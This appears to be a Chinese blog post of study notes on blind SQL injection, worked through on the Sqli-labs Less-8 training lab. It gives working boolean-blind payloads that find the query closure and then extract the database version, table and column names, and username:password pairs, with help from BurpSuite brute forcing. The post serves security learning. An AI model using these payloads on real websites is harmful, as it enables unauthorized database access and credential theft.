[理论-学习]Web安全-SQL注入-基础07

本文详细介绍了SQL注入中的布尔盲注和时间盲注技巧,通过Sqli-labs的Less8实验环境,展示了如何利用ascii()、substr()、sleep()和if()函数进行盲注。实验过程包括测试语句、获取数据库信息如版本号、用户名、数据表及字段,并演示了使用BurpSuite进行爆破的方法。
摘要由CSDN通过智能技术生成

声明:

由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。

笔记内容来源于各类网课。

环境:

以Sqli-labs中的less8为实验环境。 

一、盲注介绍

一般分为布尔盲注和延时(时间)盲注

布尔盲注利用的函数主要有ascii和substr

延时盲注利用的函数有if和sleep

布尔盲注适用于页面返回的状态只有两种。延时盲注适用于页面返回的状态没变化,我们需要通过请求返回的时间判断代码是否被执行。

1. ascii():用于将字符转为对应的ASCII码值。

2. substr():用于字符串切割,它的下标是从1开始。subst("123",2,1)返回字符"2"。

3. sleep():延时函数。sleep(2),执行后,系统等待2s。

4. if():if语句,用于判断,if(条件,条件真返回,条件假返回)。例如if(1,'2','3')返回字符‘2’。

二、实验(基于GET方式的字符串布尔盲注-单引号)

1. 使用GET方式传入参数

根据id值页面只有两种状态,返回空或者返回You are in....提示。

2. 测试语句能否报错

传入id=1“,没有报错,说明不是双引号闭合。

传入id=1',页面返回未空的状态,后台可能报错,但是不显示报错信息。

可以猜测后台是单引号闭合。至于有没有括号,我们继续测试。

3. 测试语句能否恶意执行(能不报错)

id=-1' or 1 %23

id为一个不存在的值(前面验证过了),依然可以登陆成功,说明我们的or 1成功执行了,也注释了后面的语句。所以肯定是单引号闭合,没有括号

select columns... from talbe_name where id='$id'

由于没有报错信息,不存在回显点,所以应采用盲注,这里采用布尔盲注最合适。

4. 获取版本号、当前用户名、当前数据名

首先依次测试语句能正确执行。

id=-1' or (select 1) %23

当这个语句可以执行,我们就能通过将select 1的位置替换为布尔值即可。

我们使用substr(version(),1,1),截取版本号字符串第一个字符。

再使用ascii(substr(version(),1,1)),将第一个字符转为ascii码。再通过判断(大于,小于,等于等),获取第一个字符的范围。

?id=-1' or (select (select ascii(substr(version(),1,1))) > 0  ) %23

这条语句结果肯定为真,version的字符串是数字,数字的ascii码肯定大于0。

我们通过大于,小于,等于来判断第一个字符是什么。使用二分法最快。

?id=-1' or (select (select ascii(substr(version(),1,1))) >52  ) %23
?id=-1' or (select (select ascii(substr(version(),1,1))) >53  ) %23
?id=-1' or (select (select ascii(substr(version(),1,1))) =53  ) %23

手工测试过于麻烦,我们使用BurpSuite进行爆破即可。

 由于版本字符串为数字和符号组成,我们选用相应的字典。

得到结果后,我们过滤,使用返回的字符串You are in...过滤成功的。 

 在按照Payload1排序,使用qq自带的截屏识别文字,将Payload2复制下来,转为ASCII码即可。

我们爆破用户名和数据库名略过。

5. 获取当前的表名,表中字段名

?id=-1' or 
(select 
(select ascii(substr( 
(select group_concat(table_name) from information_schema.tables
 where table_schema=database() ) ,1,1))) >0  ) %23

 

由于节省时间,字典我选择的只有字母。

?id=-1' or 
(select 
(select ascii(substr( 
(select group_concat(column_name) from information_schema.columns
 where table_schema=database() and table_name = 'users') ,1,1))) >0  ) %23

6. 获取当前的users表中的数据 

最后爆破users表中的用户名和密码。

?id=-1' or (select (select 
ascii(substr( 
(select group_concat(concat_ws(':',username,password)) 
from users),1,1)))>8 ) %23 

这里只显示了部分,其他的可以继续爆破得到。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
内容介绍 项目结构: Controller层:使用Spring MVC来处理用户请求,负责将请求分发到相应的业务逻辑层,并将数据传递给视图层进行展示。Controller层通常包含控制器类,这些类通过注解如@Controller、@RequestMapping等标记,负责处理HTTP请求并返回响应。 Service层:Spring的核心部分,用于处理业务逻辑。Service层通过接口和实现类的方式,将业务逻辑与具体的实现细节分离。常见的注解有@Service和@Transactional,后者用于管理事务。 DAO层:使用MyBatis来实现数据持久化,DAO层与数据库直接交互,执行CRUD操作。MyBatis通过XML映射文件或注解的方式,将SQL语句与Java对象绑定,实现高效的数据访问。 Spring整合: Spring核心配置:包括Spring的IOC容器配置,管理Service和DAO层的Bean。配置文件通常包括applicationContext.xml或采用Java配置类。 事务管理:通过Spring的声明式事务管理,简化了事务的处理,确保数据一致性和完整性。 Spring MVC整合: 视图解析器:配置Spring MVC的视图解析器,将逻辑视图名解析为具体的JSP或其他类型的视图。 拦截器:通过配置Spring MVC的拦截器,处理请求的预处理和后处理,常用于权限验证、日志记录等功能。 MyBatis整合: 数据源配置:配置数据库连接池(如Druid或C3P0),确保应用可以高效地访问数据库。 SQL映射文件:使用MyBatis的XML文件或注解配置,将SQL语句与Java对象映射,支持复杂的查询、插入、更新和删除操作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值